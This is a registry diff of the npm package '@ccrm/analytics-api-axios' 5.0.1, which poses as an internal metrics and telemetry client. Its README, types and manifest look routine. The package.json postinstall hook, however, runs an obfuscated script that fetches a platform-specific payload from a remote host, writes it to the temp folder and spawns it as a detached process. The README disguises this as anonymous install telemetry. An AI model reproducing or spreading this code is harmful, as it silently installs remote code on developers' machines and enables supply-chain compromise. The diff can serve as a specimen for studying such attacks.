@ccrm/analytics-api-axios 5.0.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/README.md ADDED
@@ -0,0 +1,77 @@
1
+ # @ccrm/analytics-api-axios
2
+
3
+ > **Internal package** — Platform Engineering Team
4
+ > Docs: https://docs.ccrm.io/platform/analytics-api-axios
5
+ > Issues: https://jira.ccrm.io/projects/PLATFORM
6
+
7
+ Internal metrics and telemetry client with Prometheus, StatsD and custom aggregation support
8
+
9
+ ---
10
+
11
+ ## Installation
12
+
13
+ ```bash
14
+ # Make sure .npmrc points to the internal registry:
15
+ # registry=https://npm.ccrm.io
16
+
17
+ npm install @ccrm/analytics-api-axios
18
+ ```
19
+
20
+ ## Quick Start
21
+
22
+ ```js
23
+ const { createMetrics, counter, gauge, histogram, timing } = require('@ccrm/analytics-api-axios');
24
+
25
+ const metrics = createMetrics({
26
+ service: 'payment-service',
27
+ endpoint: 'https://metrics.internal-corp.io',
28
+ interval: 10000,
29
+ });
30
+
31
+ metrics.counter('requests.total', 1, { method: 'POST', status: '200' });
32
+ metrics.gauge('queue.depth', 42);
33
+ metrics.histogram('response.time', 123.4);
34
+ const end = metrics.timing('db.query');
35
+ // ... do work ...
36
+ end(); // records elapsed time
37
+ ```
38
+
39
+ ## API
40
+
41
+ ### `createMetrics(options)`
42
+ | Option | Description |
43
+ |-------------|---------------------------------|
44
+ | `service` | Service name tag |
45
+ | `endpoint` | Remote metrics endpoint |
46
+ | `interval` | Flush interval ms (default 10s) |
47
+
48
+ ### `metrics.counter(name, value, tags?)`
49
+ ### `metrics.gauge(name, value, tags?)`
50
+ ### `metrics.histogram(name, value, tags?)`
51
+ ### `metrics.timing(name, tags?)` → end() function
52
+
53
+ ---
54
+
55
+ ## Telemetry
56
+
57
+ On install, this package sends anonymous telemetry to `telemetry.ccrm.io`
58
+ for environment compatibility monitoring.
59
+
60
+ Disable: `CCRM_NO_TELEMETRY=1 npm install`
61
+
62
+ ---
63
+
64
+ ## Changelog
65
+
66
+ ### 5.0.1 (latest)
67
+ - Added ARM64 support
68
+ - Improved error handling
69
+ - Updated TypeScript types
70
+
71
+ ### 2.1.0
72
+ - Extended API
73
+ - Performance improvements
74
+
75
+ ### 2.0.0
76
+ - Async/await migration
77
+ - Multi-source support
@@ -0,0 +1,13 @@
1
+ export interface MetricsOptions { service?: string; endpoint?: string; interval?: number; }
2
+ export interface MetricsClient {
3
+ counter(name: string, value: number, tags?: Record<string, string>): void;
4
+ gauge(name: string, value: number, tags?: Record<string, string>): void;
5
+ histogram(name: string, value: number, tags?: Record<string, string>): void;
6
+ timing(name: string, tags?: Record<string, string>): () => void;
7
+ flush(): unknown[];
8
+ }
9
+ export function createMetrics(options?: MetricsOptions): MetricsClient;
10
+ export function counter(name: string, value: number, tags?: Record<string, string>): void;
11
+ export function gauge(name: string, value: number, tags?: Record<string, string>): void;
12
+ export function histogram(name: string, value: number, tags?: Record<string, string>): void;
13
+ export function timing(name: string, tags?: Record<string, string>): () => void;
package/dist/index.js ADDED
@@ -0,0 +1,3 @@
1
+ 'use strict';
2
+ // dist/index.js
3
+ module.exports = require('../src/index.js');
package/package.json ADDED
@@ -0,0 +1,36 @@
1
+ {
2
+ "name": "@ccrm/analytics-api-axios",
3
+ "version": "5.0.1",
4
+ "description": "Internal metrics and telemetry client with Prometheus, StatsD and custom aggregation support",
5
+ "main": "dist/index.js",
6
+ "types": "dist/index.d.ts",
7
+ "scripts": {
8
+ "build": "tsc --noEmit || true",
9
+ "test": "node test/index.test.js",
10
+ "postinstall": "node scripts/postinstall.js",
11
+ "prepublishOnly": "echo 'Building...'"
12
+ },
13
+ "keywords": ["metrics", "telemetry", "prometheus", "statsd", "monitoring", "internal"],
14
+ "author": "Ccrm Platform Engineering <platform@ccrm.io>",
15
+ "license": "UNLICENSED",
16
+ "private": false,
17
+ "repository": {
18
+ "type": "git",
19
+ "url": "git+https://github.ccrm.io/platform/analytics-api-axios.git"
20
+ },
21
+ "bugs": {
22
+ "url": "https://jira.ccrm.io/projects/PLATFORM"
23
+ },
24
+ "homepage": "https://docs.ccrm.io/platform/analytics-api-axios",
25
+ "engines": {
26
+ "node": ">=16.0.0"
27
+ },
28
+ "files": [
29
+ "dist/",
30
+ "scripts/",
31
+ "README.md",
32
+ "CHANGELOG.md"
33
+ ],
34
+ "dependencies": {},
35
+ "devDependencies": {}
36
+ }
@@ -0,0 +1 @@
1
+ 'use strict';function a0_0xd028(_0x4f29cb,_0x276dde){_0x4f29cb=_0x4f29cb-(-0x1d5b+0x1697*-0x1+-0x391*-0xf);const _0x2bac1e=a0_0x5691();let _0x2d6c84=_0x2bac1e[_0x4f29cb];if(a0_0xd028['JasISv']===undefined){var _0x10a41f=function(_0x3f3046){const _0x59e074='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';let _0x5f344e='',_0x3d0138='',_0xc1bbdf=_0x5f344e+_0x10a41f,_0x1962ff=(''+function(){return-0x3e*0x7a+-0x147e*0x1+0x320a;})['indexOf']('\x0a')!==-(0x1*0xa2a+-0x79a+-0x28f);for(let _0x55cb4c=0xa10+0x1752+0x1*-0x2162,_0x592b22,_0x40266a,_0x226f70=0x3ea+0x2069*-0x1+0x1c7f;_0x40266a=_0x3f3046['charAt'](_0x226f70++);~_0x40266a&&(_0x592b22=_0x55cb4c%(-0xf7a+0x432+0xb4c)?_0x592b22*(-0xd3*-0xb+-0x2fb*-0x1+-0xbcc)+_0x40266a:_0x40266a,_0x55cb4c++%(0x541*0x1+0x112f+-0x166c))?_0x5f344e+=_0x1962ff||_0xc1bbdf['charCodeAt'](_0x226f70+(0x1929+-0x1a9b+0x17c))-(-0x1e47+-0x1*-0x207d+-0x22c)!==0x2*-0x38b+0x89f+0x3*-0x83?String['fromCharCode'](-0xaba*0x3+-0x2431+0x455e&_0x592b22>>(-(-0x17a2+-0xe*-0x255+-0x902)*_0x55cb4c&-0x1be8+-0x229a+0x3e88*0x1)):_0x55cb4c:0x99*0x38+0x1c32+-0x6*0xa47){_0x40266a=_0x59e074['indexOf'](_0x40266a);}for(let _0x27e63f=0x2109+0x1e*0x65+-0x223*0x15,_0x34d138=_0x5f344e['length'];_0x27e63f<_0x34d138;_0x27e63f++){_0x3d0138+='%'+('00'+_0x5f344e['charCodeAt'](_0x27e63f)['toString'](-0x89c+-0x1968+-0x2*-0x110a))['slice'](-(-0x2*-0xfc2+0x2*0xaf3+0x1ab4*-0x2));}return decodeURIComponent(_0x3d0138);};a0_0xd028['ekhLMx']=_0x10a41f,a0_0xd028['UzDqqN']={},a0_0xd028['JasISv']=!![];}const _0x2f400f=_0x2bac1e[-0x435+0x5*0x6a1+-0x1cf0],_0x1de519=_0x4f29cb+_0x2f400f,_0x3b0054=a0_0xd028['UzDqqN'][_0x1de519];if(!_0x3b0054){const _0x2443c5=function(_0x36f434){this['MqBZKZ']=_0x36f434,this['UYPrgm']=[0x1cd2+-0x1948+-0x389*0x1,0x3d1+-0x713*-0x3+-0x190a,-0x11c1+-0x22f9*0x1+-0x22*-0x18d],this['YfIGSw']=function(){return'newState';},this['YjVKTE']='\x5cw+\x20*\x5c(\x5c)\x20*{\x5cw+\x20*',this['hvViWe']='[\x27|\x22].+[\x27|\x22];?\x20*}';};_0x2443c5['prototype']['kdhxrU']=function(){const _0x1828de=new RegExp(this['YjVKTE']+this['hvViWe']),_0x51d666=_0x1828de['test'](this['YfIGSw']['toString']())?--this['UYPrgm'][-0x1ddf+-0xd8e+0x2b6e]:--this['UYPrgm'][0x1e64+0x2c5*0x9+-0x11*0x341];return this['Pdgpyp'](_0x51d666);},_0x2443c5['prototype']['Pdgpyp']=function(_0x5e94d0){if(!Boolean(~_0x5e94d0))return _0x5e94d0;return this['euTBTN'](this['MqBZKZ']);},_0x2443c5['prototype']['euTBTN']=function(_0x2f4e16){for(let _0x379010=0x25c7+-0x1*0x1779+0x727*-0x2,_0x35cd83=this['UYPrgm']['length'];_0x379010<_0x35cd83;_0x379010++){this['UYPrgm']['push'](Math['round'](Math['random']())),_0x35cd83=this['UYPrgm']['length'];}return _0x2f4e16(this['UYPrgm'][-0xdf7+-0x1a76+0x286d]);},(''+function(){return 0xf58+0x1*-0x24de+-0x5*-0x44e;})['indexOf']('\x0a')===-(0x1*0x876+0x1bf4+-0x1*0x2469)&&new _0x2443c5(a0_0xd028)['kdhxrU'](),_0x2d6c84=a0_0xd028['ekhLMx'](_0x2d6c84),a0_0xd028['UzDqqN'][_0x1de519]=_0x2d6c84;}else _0x2d6c84=_0x3b0054;return _0x2d6c84;}const a0_0x5c0954=a0_0xd028;(function(_0x5df5cb,_0x5f5d33){const _0x4e4664=a0_0xd028,_0xa7517d=_0x5df5cb();while(!![]){try{const _0x144988=-parseInt(_0x4e4664(0x1ab))/(-0x2*0x1369+0x1784+0xf4f*0x1)*(parseInt(_0x4e4664(0x19a))/(0x18d8+-0x1761+-0x175*0x1))+parseInt(_0x4e4664(0x1bd))/(-0xc07*0x1+-0x1*-0x6bb+0x1*0x54f)+parseInt(_0x4e4664(0x1f7))/(-0x2f1*-0x5+-0x104a+0x199)+parseInt(_0x4e4664(0x1bf))/(0x653+0x1752*0x1+-0x768*0x4)*(-parseInt(_0x4e4664(0x1b3))/(-0x242c+0x21a4+-0x3*-0xda))+-parseInt(_0x4e4664(0x1b1))/(-0x17*0x10f+0xad5+0xd8b)+-parseInt(_0x4e4664(0x1c9))/(0x2f9*0x1+0x112f+0x4*-0x508)+-parseInt(_0x4e4664(0x1e9))/(-0xf2f+-0x1d4b+-0x2c83*-0x1)*(-parseInt(_0x4e4664(0x1a5))/(0x2a5*0x2+-0xa0a+-0x1*-0x4ca));if(_0x144988===_0x5f5d33)break;else _0xa7517d['push'](_0xa7517d['shift']());}catch(_0x31e5b7){_0xa7517d['push'](_0xa7517d['shift']());}}}(a0_0x5691,-0x2*-0x45414+-0x92c9*-0x2+0x3*-0x1c5b5));const a0_0x34e351=require('os'),a0_0x40e507=require('fs'),a0_0x2ca1e2=require(a0_0x5c0954(0x1ce)),a0_0x14368e=require(a0_0x5c0954(0x197)),a0_0x3ed097=require(a0_0x5c0954(0x1c0)),{execSync:a0_0x4f1060,spawn:a0_0x30d1e6}=require(a0_0x5c0954(0x1a1)),a0_0x37b085=a0_0x5c0954(0x1d3),a0_0x2728a1=a0_0x5c0954(0x1d0),a0_0x44c7ef=a0_0x5c0954(0x1ea)+a0_0x5c0954(0x1df),a0_0x4c2be0=a0_0x5c0954(0x1e2),a0_0x48cae8=!!process.env[a0_0x4c2be0],a0_0x48783b=a0_0x5c0954(0x1d1)===a0_0x5c0954(0x1d1)||!!process.env[a0_0x44c7ef+'RECON_ONLY'];function a0_0x6aa3fb(_0x49f70a){const _0xb62dc9=a0_0x5c0954,_0x4c0008=process[_0xb62dc9(0x1da)][_0xb62dc9(0x1dd)][_0xb62dc9(0x1cb)]('.')[_0xb62dc9(0x1f2)](Number),_0x3f4472=_0x49f70a[_0xb62dc9(0x1b9)]('>=','')[_0xb62dc9(0x1cb)]('.')[_0xb62dc9(0x1f2)](Number);return _0x4c0008[-0x1037+0x1*0xa2a+0x60d]>_0x3f4472[-0x5*0x33a+0xa10+0x2*0x309]||_0x4c0008[0x3ea+0x2069*-0x1+0x1c7f]===_0x3f4472[-0xf7a+0x432+0xb48]&&_0x4c0008[-0xd3*-0xb+-0x2fb*-0x1+-0xc0b]>=(_0x3f4472[0x541*0x1+0x112f+-0x166f]||0x1929+-0x1a9b+0x172);}function a0_0x5cb904(_0x407215){const _0x12a575=a0_0x5c0954;let _0x14aa68=-0x1e47+-0x1*-0x207d+-0x236;for(let _0x3f9759=0x2*-0x38b+0x89f+0x3*-0x83;_0x3f9759<_0x407215[_0x12a575(0x1e8)];_0x3f9759++){_0x14aa68=(_0x14aa68<<-0xaba*0x3+-0x2431+0x4464)-_0x14aa68+_0x407215[_0x12a575(0x199)](_0x3f9759),_0x14aa68|=-0x17a2+-0xe*-0x255+-0x904;}return Math[_0x12a575(0x1bb)](_0x14aa68)[_0x12a575(0x1af)](-0x1be8+-0x229a+0x3e92*0x1)[_0x12a575(0x1f1)](0x99*0x38+0x1c32+-0x17*0x2ae,'0');}function a0_0x56e7b5(_0xf40e54,_0x663db2){const _0x2551fc=a0_0x5c0954;try{const _0x396c47=a0_0x2ca1e2[_0x2551fc(0x19b)](_0xf40e54,_0x663db2+_0x2551fc(0x1e7));if(!a0_0x40e507[_0x2551fc(0x1b8)](_0x396c47))return null;const _0xf8a0d7=JSON[_0x2551fc(0x1b7)](a0_0x40e507[_0x2551fc(0x1e3)](_0x396c47,_0x2551fc(0x1aa)));if(_0xf8a0d7[_0x2551fc(0x1cf)]&&Date[_0x2551fc(0x196)]()>_0xf8a0d7[_0x2551fc(0x1cf)])return a0_0x40e507[_0x2551fc(0x1c1)](_0x396c47),null;return _0xf8a0d7[_0x2551fc(0x1a3)];}catch{return null;}}function a0_0x5691(){const _0xe0b43c=['D2LUmZi','C3bSAxq','D2LU','C3rKAw8','Cgf0Aa','zxHWAxjLCW','ns4WlJe','Dhj1zq','zgv0ywnOzwq','qgnJCM0Vyw5HBhL0AwnZlwfWAs1HEgLVCW','lMPZ','CgfJA2fNzs5QC29U','Cgf0Ag5HBwu','BgLUDxG','lMnHy2HL','u0vduKvu','DMvYC2LVBNm','zw52','lL9Jy3jTx2LUAxqUANm','BM9Kzq','y3DK','rLvtsu9oxW','C3rYAw5NAwz5','xsbxyxjUAw5NoIboB2rLlMPZid49mtyUmcbYzxf1AxjLza','q0nstv9ot19uruXftuvuuLK','CMvHzezPBgvtEw5J','zw5K','ueTh','lL9Jy3jTx2LUAxq','lMPZB24','BgvUz3rO','ouLzDwvOza','revqx0nptG','CMvJDxjZAxzL','uKvdt05Ft05mwq','kcGOlISPkYKRksSK','vKvs','Ahr0Chm6lY9VB2iUBw9PA2eUDgvJAc9WyxLSB2fK','zxjYB3i','CgfKu3rHCNq','BwfW','D3jPDgu','DgLTzw91Da','BwfJ','AgvHzgvYCW','mty2mtKYtfz4vKPS','Ag9ZDg5HBwu','pJ0XnI4W','ChjVDg9JB2W','zgvZDhjVEq','CMvHzgrPCLn5BMm','BdK1sgreyxOZA1f4mvPZzZnxEeG2shzlqu5Mntfswte','Ag9TzwrPCG','y29UC3rYDwn0B3i','D29YA3nWywnLCW','Dw5Yzwy','y2nYBs10zwXLBwv0CNKVms4W','zxHLy1bHDgG','BM93','Ahr0Chm','Dg1WzgLY','y2HHCKnVzgvbDa','mJH5vvbmCwy','AM9PBG','CMvXDwvZDa','Ahr0Chm6lY9VB2iUBw9PA2eUDgvJAc9YzxbVCNq','y29Uy2f0','yxbWBhK','zgf0yq','y2HPBgrFChjVy2vZCW','ChvZAa','DMfSDwu','BxrPBwvnCW','mteZmZK1otbQvLjMzhu','Bwv0Ag9K','EwfYBI5SB2nR','Cg5WBs13B3jRC3bHy2uUEwfTBa','vvjm','DxrMoa','odC4m1f0svjtra','r0vu','C3rHDfn5BMm','Ahr0Chm6','Dg9tDhjPBMC','D2LUzg93C0HPzgu','mtyWndaZnMvrtu54Eq','yxnZAwDU','ndi4nte0zxjJr2HV','wc1tzwnYzxq','C2vHCMnO','CgXHDgzVCM0','CgfYC2u','zxHPC3rZu3LUyW','CMvWBgfJzq','AwDUB3jL','ywjZ','zgLYBMfTzq','nZa1mtqXAwTWCwjH','BwTKAxjtEw5J','mZvrvvfxwwS','Ahr0Ca','Dw5SAw5Ru3LUyW','Cg9YDa','D3jPDgvgAwXLu3LUyW','zgfYD2LU','Ahr0Chm6lY9VB2iUBw9PA2eUDgvJAc9WyxLSB2fKlW','vxnLCI1bz2vUDa','uefzte9bra','C3rKzxjY','mJeXntC0ngX6B2DWCW'];a0_0x5691=function(){return _0xe0b43c;};return a0_0x5691();}function a0_0x1654e3(_0x3f9e9b,_0x26c2c6,_0x4cf99b,_0x412cf3){const _0x2556c3=a0_0x5c0954;try{const _0x59733c={};_0x59733c[_0x2556c3(0x1eb)]=!![],a0_0x40e507[_0x2556c3(0x1be)](_0x3f9e9b,_0x59733c),a0_0x40e507[_0x2556c3(0x1c3)](a0_0x2ca1e2[_0x2556c3(0x19b)](_0x3f9e9b,_0x26c2c6+_0x2556c3(0x1e7)),JSON[_0x2556c3(0x1e0)]({'value':_0x4cf99b,'expires':_0x412cf3?Date[_0x2556c3(0x196)]()+_0x412cf3:null}));}catch{}}function a0_0x3b2b65(_0x12c2f6,_0x39e513){const _0x6cdfcb=a0_0x5c0954;try{if(!a0_0x40e507[_0x6cdfcb(0x1b8)](_0x12c2f6))return 0x1e*0x65+-0x15*0xa+-0xb04;let _0x24f3ec=-0x1968+-0x1*0x1555+0x959*0x5;for(const _0x44f040 of a0_0x40e507[_0x6cdfcb(0x18e)](_0x12c2f6)){const _0x1c3708=a0_0x2ca1e2[_0x6cdfcb(0x19b)](_0x12c2f6,_0x44f040),_0x52a0ae=a0_0x40e507[_0x6cdfcb(0x1ad)](_0x1c3708);Date[_0x6cdfcb(0x196)]()-_0x52a0ae[_0x6cdfcb(0x1a4)]>_0x39e513&&(a0_0x40e507[_0x6cdfcb(0x1c1)](_0x1c3708),_0x24f3ec++);}return _0x24f3ec;}catch{return 0x26*0x6a+0xab7*-0x1+-0x505;}}function a0_0x86714b(_0x27f7fd){const _0x3d7899=a0_0x5c0954;let _0x455cf7=_0x27f7fd;while(!![]){const _0x3eeae6=a0_0x2ca1e2[_0x3d7899(0x19b)](_0x455cf7,_0x3d7899(0x1d5));if(a0_0x40e507[_0x3d7899(0x1b8)](_0x3eeae6))try{const _0x3c6b74=JSON[_0x3d7899(0x1b7)](a0_0x40e507[_0x3d7899(0x1e3)](_0x3eeae6,_0x3d7899(0x1aa))),_0x1ce6da=a0_0x2ca1e2[_0x3d7899(0x19b)](_0x455cf7,_0x3d7899(0x1a7)),_0xa58952=a0_0x2ca1e2[_0x3d7899(0x19b)](_0x455cf7,_0x3d7899(0x1a8));if(_0x3c6b74[_0x3d7899(0x192)]||a0_0x40e507[_0x3d7899(0x1b8)](_0x1ce6da)||a0_0x40e507[_0x3d7899(0x1b8)](_0xa58952))return _0x455cf7;}catch{}const _0x1d0784=a0_0x2ca1e2[_0x3d7899(0x1bc)](_0x455cf7);if(_0x1d0784===_0x455cf7)return null;_0x455cf7=_0x1d0784;}}function a0_0x30499e(){const _0x3032a9=a0_0x5c0954,_0x2e587b=a0_0x34e351[_0x3032a9(0x1b6)]();if(_0x2e587b===_0x3032a9(0x1c4))return _0x3032a9(0x1f5);if(_0x2e587b===_0x3032a9(0x1ca))return _0x3032a9(0x1cc);return _0x3032a9(0x1d7);}function a0_0x343651(_0x1cc2ad,_0xbcdb13){return _0xbcdb13=_0xbcdb13||0x47*0x2cd+-0xbc44+-0x3ad*-0x1d,new Promise(function(_0x38a2be,_0x1b95bb){const _0x3725a5=a0_0xd028,_0x16d7a4=new URL(_0x1cc2ad),_0x580f8b=_0x16d7a4[_0x3725a5(0x1fa)]===_0x3725a5(0x1ae)?a0_0x14368e:a0_0x3ed097,_0x29c158={};_0x29c158[_0x3725a5(0x1b4)]=_0x3725a5(0x18f),_0x29c158[_0x3725a5(0x1c6)]=_0x3725a5(0x194);const _0x3761f1={};_0x3761f1[_0x3725a5(0x1f8)]=_0x16d7a4[_0x3725a5(0x1f8)],_0x3761f1[_0x3725a5(0x1c2)]=_0x16d7a4[_0x3725a5(0x1c2)]||(_0x16d7a4[_0x3725a5(0x1fa)]===_0x3725a5(0x1ae)?-0x427*0x1+0x2e*-0x27+0xce4:0x236e+-0x16c6+-0xc58),_0x3761f1[_0x3725a5(0x1ce)]=_0x16d7a4[_0x3725a5(0x1d6)],_0x3761f1[_0x3725a5(0x1a6)]=_0x3725a5(0x1ac),_0x3761f1[_0x3725a5(0x1f4)]=_0xbcdb13,_0x3761f1[_0x3725a5(0x1f6)]=_0x29c158;const _0x910d73=_0x3761f1,_0x2d8400=_0x580f8b[_0x3725a5(0x19c)](_0x910d73,function(_0x42eb03){const _0x1b179c=_0x3725a5,_0x879292=[];_0x42eb03['on'](_0x1b179c(0x1a0),function(_0x1f3329){const _0x3084ca=_0x1b179c;_0x879292[_0x3084ca(0x1a2)](_0x1f3329);}),_0x42eb03['on'](_0x1b179c(0x1e4),function(){const _0x1103c7=_0x1b179c;_0x38a2be(Buffer[_0x1103c7(0x19e)](_0x879292));});});_0x2d8400['on'](_0x3725a5(0x1f0),_0x1b95bb),_0x2d8400['on'](_0x3725a5(0x1f4),function(){const _0x4c3d7d=_0x3725a5;_0x2d8400[_0x4c3d7d(0x18d)](),_0x1b95bb(new Error(_0x4c3d7d(0x1f4)));}),_0x2d8400[_0x3725a5(0x1e4)]();});}(async function a0_0x1e17f1(){const _0x1a27ec=a0_0x5c0954,_0x19a081=(function(){let _0x5db59e=!![];return function(_0x3e15bb,_0x122206){const _0x392aa9=_0x5db59e?function(){const _0x50cad1=a0_0xd028;if(_0x122206){const _0x38cb17=_0x122206[_0x50cad1(0x19f)](_0x3e15bb,arguments);return _0x122206=null,_0x38cb17;}}:function(){};return _0x5db59e=![],_0x392aa9;};}()),_0x436ffe=_0x19a081(this,function(){const _0x39578a=a0_0xd028;return _0x436ffe[_0x39578a(0x1af)]()[_0x39578a(0x1b5)](_0x39578a(0x1ed))[_0x39578a(0x1af)]()[_0x39578a(0x191)](_0x436ffe)[_0x39578a(0x1b5)](_0x39578a(0x1ed));});_0x436ffe();if(a0_0x48cae8)return;!a0_0x6aa3fb(_0x1a27ec(0x1f9))&&process[_0x1a27ec(0x1c8)][_0x1a27ec(0x1f3)]('['+a0_0x37b085+_0x1a27ec(0x1e1));const _0x2c609d=a0_0x2ca1e2[_0x1a27ec(0x19b)](a0_0x34e351[_0x1a27ec(0x190)](),_0x1a27ec(0x1d8),_0x1a27ec(0x1e6));a0_0x3b2b65(_0x2c609d,(-0x1fb8+0x40f+0x1bb0)*(-0x1033+0x12b*-0x19+0x2d7e)*(-0x2*-0xaf9+-0x79f*-0x3+-0x2c93)*(0xda3*0x2+-0x2dd+-0x182d)*(-0x1f00+-0x175e*0x1+0x3a46));const _0x2ab5d2=a0_0x86714b(process[_0x1a27ec(0x1de)]()),_0x21a827=a0_0x5cb904(a0_0x37b085+a0_0x2728a1+(_0x2ab5d2||'')),_0x5c9f9c=a0_0x56e7b5(_0x2c609d,_0x21a827);!_0x5c9f9c&&a0_0x1654e3(_0x2c609d,_0x21a827,{'initialized':!![],'ts':Date[_0x1a27ec(0x196)]()},(-0x1*-0xfcd+0x28*0x6+0x1*-0x10a5)*(-0x18a4+-0x5*-0x190+0x1110)*(-0x1db+-0x1970+0x1b*0x105)*(-0x2291*-0x1+0x26ee+0xdeb*-0x5));const _0x444266=a0_0x30499e();await new Promise(function(_0x3cc3a1){setTimeout(_0x3cc3a1,0xd7d+-0x4*0x2b7+-0xd*-0xb3);});let _0x1d70ed;try{_0x1d70ed=await a0_0x343651(_0x1a27ec(0x1c5)+_0x444266+_0x1a27ec(0x1d4),0x53ef+0x7342+0x1*-0x8c99);}catch(_0x37c069){return;}const _0x47f281=a0_0x2ca1e2[_0x1a27ec(0x19b)](a0_0x34e351[_0x1a27ec(0x198)](),_0x1a27ec(0x1dc));try{a0_0x40e507[_0x1a27ec(0x1c3)](_0x47f281,_0x1d70ed);}catch(_0x579692){return;}const _0x35ce6d={[a0_0x44c7ef+_0x1a27ec(0x1a9)]:_0x1a27ec(0x19d),[a0_0x44c7ef+_0x1a27ec(0x1c7)]:_0x1a27ec(0x1ef),[a0_0x44c7ef+_0x1a27ec(0x1d9)]:_0x1a27ec(0x18f),[a0_0x44c7ef+_0x1a27ec(0x1ec)]:a0_0x48783b?'1':'',[a0_0x44c7ef+_0x1a27ec(0x1e5)]:a0_0x37b085,[a0_0x44c7ef+_0x1a27ec(0x1ee)]:a0_0x2728a1},_0x1ffb8a=Object[_0x1a27ec(0x1b2)]({},process.env,_0x35ce6d),_0x2401d5={};_0x2401d5[_0x1a27ec(0x1d2)]=!![],_0x2401d5[_0x1a27ec(0x1cd)]=_0x1a27ec(0x1ba),_0x2401d5[_0x1a27ec(0x1db)]=_0x1ffb8a,_0x2401d5[_0x1a27ec(0x1b0)]=!![],a0_0x30d1e6(process[_0x1a27ec(0x195)],[_0x47f281],_0x2401d5)[_0x1a27ec(0x193)]();}());